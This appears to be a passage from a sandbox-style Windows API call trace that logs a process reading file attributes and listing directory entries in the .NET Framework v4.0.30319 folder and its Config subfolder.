	[0087.719] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\webAdminButtonRow.master" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\webadminbuttonrow.master"), fInfoLevelId=0x0, lpFileInformation=0x1273e2d8 | out: lpFileInformation=0x1273e2d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f2b3200, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x831)) returned 1
	[0087.720] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\webAdminNoButtonRow.master" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\webadminnobuttonrow.master"), fInfoLevelId=0x0, lpFileInformation=0x1273e328 | out: lpFileInformation=0x1273e328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f2d9360, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x2f9)) returned 1
	[0087.720] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\webAdminNoNavBar.master" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\webadminnonavbar.master"), fInfoLevelId=0x0, lpFileInformation=0x1273e378 | out: lpFileInformation=0x1273e378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f2d9360, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x13)) returned 1
	[0087.720] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Accessibility.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\accessibility.dll"), fInfoLevelId=0x0, lpFileInformation=0x1273e3c8 | out: lpFileInformation=0x1273e3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x56f13740, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x8ca8)) returned 1
	[0087.721] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AddInProcess.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\addinprocess.exe"), fInfoLevelId=0x0, lpFileInformation=0x1273e418 | out: lpFileInformation=0x1273e418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x56f398a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xa4b0)) returned 1
	[0087.721] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AddInProcess.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\addinprocess.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x1273e468 | out: lpFileInformation=0x1273e468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2404cb00, ftCreationTime.dwHighDateTime=0x1ca298a, ftLastAccessTime.dwLowDateTime=0x8a445140, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x2404cb00, ftLastWriteTime.dwHighDateTime=0x1ca298a, nFileSizeHigh=0x0, nFileSizeLow=0xa1)) returned 1
	[0087.724] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AddInProcess32.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\addinprocess32.exe"), fInfoLevelId=0x0, lpFileInformation=0x1273e4b8 | out: lpFileInformation=0x1273e4b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x56f5fa00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xa4b8)) returned 1
	[0087.724] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AddInProcess32.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\addinprocess32.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x1273e508 | out: lpFileInformation=0x1273e508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2404cb00, ftCreationTime.dwHighDateTime=0x1ca298a, ftLastAccessTime.dwLowDateTime=0x8a445140, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x2404cb00, ftLastWriteTime.dwHighDateTime=0x1ca298a, nFileSizeHigh=0x0, nFileSizeLow=0xa1)) returned 1
	[0087.724] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AddInUtil.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\addinutil.exe"), fInfoLevelId=0x0, lpFileInformation=0x1273e558 | out: lpFileInformation=0x1273e558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x56f85b60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xa4a8)) returned 1
	[0087.725] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AddInUtil.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\addinutil.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x1273e5a8 | out: lpFileInformation=0x1273e5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2404cb00, ftCreationTime.dwHighDateTime=0x1ca298a, ftLastAccessTime.dwLowDateTime=0x8a445140, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x2404cb00, ftLastWriteTime.dwHighDateTime=0x1ca298a, nFileSizeHigh=0x0, nFileSizeLow=0xa1)) returned 1
	[0087.726] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AdoNetDiag.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\adonetdiag.dll"), fInfoLevelId=0x0, lpFileInformation=0x1273e5f8 | out: lpFileInformation=0x1273e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x56fabcc0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x28ea8)) returned 1
	[0087.726] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\applaunch.exe"), fInfoLevelId=0x0, lpFileInformation=0x1273e648 | out: lpFileInformation=0x1273e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x57044240, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x178a8)) returned 1
	[0087.726] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AspNetMMCExt.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\aspnetmmcext.dll"), fInfoLevelId=0x0, lpFileInformation=0x1273e698 | out: lpFileInformation=0x1273e698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x57233420, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7c2b0)) returned 1
	[0087.727] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Aspnet.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\aspnet.config"), fInfoLevelId=0x0, lpFileInformation=0x1273e6e8 | out: lpFileInformation=0x1273e6e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9e9ec0e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x1b5)) returned 1
	[0087.727] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Aspnet_perf.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\aspnet_perf.dll"), fInfoLevelId=0x0, lpFileInformation=0x1273e738 | out: lpFileInformation=0x1273e738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x570dc7c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xa0b0)) returned 1
	[0087.728] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\CLR-ETW.man" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr-etw.man"), fInfoLevelId=0x0, lpFileInformation=0x1273e788 | out: lpFileInformation=0x1273e788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbac6c600, ftCreationTime.dwHighDateTime=0x1d0aa7c, ftLastAccessTime.dwLowDateTime=0x5826aa00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xbac6c600, ftLastWriteTime.dwHighDateTime=0x1d0aa7c, nFileSizeHigh=0x0, nFileSizeLow=0x4e663)) returned 1
	[0087.728] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\CORPerfMonExt.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\corperfmonext.dll"), fInfoLevelId=0x0, lpFileInformation=0x1273e7d8 | out: lpFileInformation=0x1273e7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x58f82300, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x1e8b8)) returned 1
	[0087.728] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\CORPerfMonSymbols.h" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\corperfmonsymbols.h"), fInfoLevelId=0x0, lpFileInformation=0x1273e828 | out: lpFileInformation=0x1273e828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x813a3400, ftCreationTime.dwHighDateTime=0x1cac5dd, ftLastAccessTime.dwLowDateTime=0x8aaf6f20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x813a3400, ftLastWriteTime.dwHighDateTime=0x1cac5dd, nFileSizeHigh=0x0, nFileSizeLow=0x17b3)) returned 1
	[0087.729] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\CasPol.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\caspol.exe"), fInfoLevelId=0x0, lpFileInformation=0x1273e878 | out: lpFileInformation=0x1273e878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x57506e40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x1a298)) returned 1
	[0087.729] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ComSvcConfig.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\comsvcconfig.exe"), fInfoLevelId=0x0, lpFileInformation=0x1273e8c8 | out: lpFileInformation=0x1273e8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x58f5c1a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x2a2b0)) returned 1
	[0087.729] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config"), fInfoLevelId=0x0, lpFileInformation=0x1273e918 | out: lpFileInformation=0x1273e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89f82540, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xd5c34500, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xd5c34500, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0087.730] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.730] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89f82540, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xd5c34500, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xd5c34500, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.731] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89f82540, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xd5c34500, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xd5c34500, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.732] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ea84660, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x593d2ae0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x593d2ae0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Browsers", cAlternateFileName="")) returned 1
	[0087.732] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ef1100, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ec4d6e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x7ef1100, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x1131a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultWsdlHelpGenerator.aspx", cAlternateFileName="DEFAUL~1.ASP")) returned 1
	[0087.732] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9ee3c8c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x3106, dwReserved0=0x0, dwReserved1=0x0, cFileName="legacy.web_hightrust.config", cAlternateFileName="LEGACY~1.CON")) returned 1
	[0087.732] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9ee16760, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x3106, dwReserved0=0x0, dwReserved1=0x0, cFileName="legacy.web_hightrust.config.default", cAlternateFileName="LEGACY~1.DEF")) returned 1
	[0087.732] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9ee3c8c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x1ff0, dwReserved0=0x0, dwReserved1=0x0, cFileName="legacy.web_lowtrust.config", cAlternateFileName="LEGACY~2.CON")) returned 1
	[0087.732] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9ee3c8c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x1ff0, dwReserved0=0x0, dwReserved1=0x0, cFileName="legacy.web_lowtrust.config.default", cAlternateFileName="LEGACY~2.DEF")) returned 1
	[0087.732] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9ee3c8c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x2de0, dwReserved0=0x0, dwReserved1=0x0, cFileName="legacy.web_mediumtrust.config", cAlternateFileName="LEGACY~3.CON")) returned 1
	[0087.732] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9ee3c8c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x2de0, dwReserved0=0x0, dwReserved1=0x0, cFileName="legacy.web_mediumtrust.config.default", cAlternateFileName="LEGACY~3.DEF")) returned 1
	[0087.732] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9ee3c8c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x1bd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="legacy.web_minimaltrust.config", cAlternateFileName="LEGACY~4.CON")) returned 1
	[0087.732] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9ee3c8c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x1bd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="legacy.web_minimaltrust.config.default", cAlternateFileName="LEGACY~4.DEF")) returned 1
	[0087.732] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0cc4300, ftCreationTime.dwHighDateTime=0x1cd5cf4, ftLastAccessTime.dwLowDateTime=0xcf7ee640, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc0cc4300, ftLastWriteTime.dwHighDateTime=0x1cd5cf4, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="machine.config", cAlternateFileName="MACHIN~1.CON")) returned 1
	[0087.733] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0cc4300, ftCreationTime.dwHighDateTime=0x1cd5cf4, ftLastAccessTime.dwLowDateTime=0xcf7ee640, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc0cc4300, ftLastWriteTime.dwHighDateTime=0x1cd5cf4, nFileSizeHigh=0x0, nFileSizeLow=0x16689, dwReserved0=0x0, dwReserved1=0x0, cFileName="machine.config.comments", cAlternateFileName="MACHIN~1.COM")) returned 1
	[0087.733] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0cc4300, ftCreationTime.dwHighDateTime=0x1cd5cf4, ftLastAccessTime.dwLowDateTime=0xcf7ee640, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc0cc4300, ftLastWriteTime.dwHighDateTime=0x1cd5cf4, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="machine.config.default", cAlternateFileName="MACHIN~1.DEF")) returned 1
	[0087.733] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d643b00, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9efb9680, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x1d643b00, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0xd75, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetFx40_IIS_schema_update.xml", cAlternateFileName="NETFX4~1.XML")) returned 1
	[0087.733] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84df4000, ftCreationTime.dwHighDateTime=0x1cd433a, ftLastAccessTime.dwLowDateTime=0xd01c0100, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x84df4000, ftLastWriteTime.dwHighDateTime=0x1cd433a, nFileSizeHigh=0x0, nFileSizeLow=0x813, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetFx45_IIS_schema_update.xml", cAlternateFileName="NETFX4~2.XML")) returned 1
	[0087.733] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe871da00, ftCreationTime.dwHighDateTime=0x1cd5cf9, ftLastAccessTime.dwLowDateTime=0xd5c34500, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xe871da00, ftLastWriteTime.dwHighDateTime=0x1cd5cf9, nFileSizeHigh=0x0, nFileSizeLow=0xa87d, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.config", cAlternateFileName="WEB~1.CON")) returned 1
	[0087.733] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84df4000, ftCreationTime.dwHighDateTime=0x1cd433a, ftLastAccessTime.dwLowDateTime=0xd5c0e3a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x84df4000, ftLastWriteTime.dwHighDateTime=0x1cd433a, nFileSizeHigh=0x0, nFileSizeLow=0x10f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.config.comments", cAlternateFileName="WEBCON~1.COM")) returned 1
	[0087.733] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe871da00, ftCreationTime.dwHighDateTime=0x1cd5cf9, ftLastAccessTime.dwLowDateTime=0xd5c34500, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xe871da00, ftLastWriteTime.dwHighDateTime=0x1cd5cf9, nFileSizeHigh=0x0, nFileSizeLow=0xa87d, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.config.default", cAlternateFileName="WEBCON~1.DEF")) returned 1
	[0087.733] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9f28d0a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x2a64, dwReserved0=0x0, dwReserved1=0x0, cFileName="web_hightrust.config", cAlternateFileName="WEB_HI~1.CON")) returned 1
